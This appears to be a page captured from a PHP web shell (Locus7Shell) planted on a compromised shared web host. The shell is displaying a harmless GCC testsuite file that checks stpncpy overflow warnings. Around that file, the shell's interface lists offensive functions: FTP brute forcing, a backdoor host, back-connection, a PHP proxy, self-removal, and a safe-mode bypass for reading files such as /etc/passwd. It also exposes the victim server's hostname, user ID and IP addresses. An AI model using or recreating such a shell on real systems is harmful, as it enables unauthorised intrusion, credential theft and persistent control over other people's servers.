Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     builtin-stpncpy.c (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/80669 - Bad -Wstringop-overflow warnings for stpncpy
   { dg-do compile }
   { dg-options "-O2 -Wall -Wno-array-bounds -Wno-restrict -Wno-stringop-truncation" } */

#define SIZE_MAX __SIZE_MAX__

typedef __SIZE_TYPE__ size_t;

void sink (char*);

#define stpncpy (d, s, n)  sink (__builtin_stpncpy (d, s, n))

size_t value (void);

static size_t range (size_t min, size_t max)
{
  size_t val = value ();
  return val < min || max < val ? min : val;
}

/* Verify that no -Wstringop-overflow warning is issued for stpncpy
   with constant size.  (Some tests cause -Wstringop-truncation and
   that's expected).  */
void test_cst (char *d)
{
  __builtin_stpncpy (d, "123", 0);
  __builtin_stpncpy (d, "123", 1);
  __builtin_stpncpy (d, "123", 2);
  __builtin_stpncpy (d, "123", 3);
  __builtin_stpncpy (d, "123", 4);
  __builtin_stpncpy (d, "123", 5);
  __builtin_stpncpy (d, "123", 999);

  size_t n = SIZE_MAX / 2;

  __builtin_stpncpy (d, "123", n);

  __builtin_stpncpy (d, "123", n + 1);    /* { dg-warning "specified bound \[0-9\]+ exceeds maximum object size \[0-9\]+" } */
}


/* Verify that no -Wstringop-overflow warning is issued for stpncpy
   with size in some range.  */
void test_rng (char *d)
{
#define R(min, max) range (min, max)

  __builtin_stpncpy (d, "123", R (0, 1));
  __builtin_stpncpy (d, "123", R (0, 2));
  __builtin_stpncpy (d, "123", R (0, 3));
  __builtin_stpncpy (d, "123", R (0, 4));
  __builtin_stpncpy (d, "123", R (0, 5));

  __builtin_stpncpy (d, "123", R (1, 2));
  __builtin_stpncpy (d, "123", R (1, 3));
  __builtin_stpncpy (d, "123", R (1, 4));
  __builtin_stpncpy (d, "123", R (1, 5));

  __builtin_stpncpy (d, "123", R (2, 3));
  __builtin_stpncpy (d, "123", R (2, 4));
  __builtin_stpncpy (d, "123", R (2, 5));

  __builtin_stpncpy (d, "123", R (3, 4));
  __builtin_stpncpy (d, "123", R (3, 5));

  __builtin_stpncpy (d, "123", R (4, 5));

  __builtin_stpncpy (d, "123", R (5, 6));

  __builtin_stpncpy (d, "123", R (12345, 23456));

  size_t n = SIZE_MAX / 2;

  __builtin_stpncpy (d, "123", R (n - 1, n + 1));

  __builtin_stpncpy (d, "123", R (n + 1, n + 2));   /* { dg-warning "specified bound between \[0-9\]+ and \[0-9\]+ exceeds maximum object size \[0-9\]+" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0907 ]--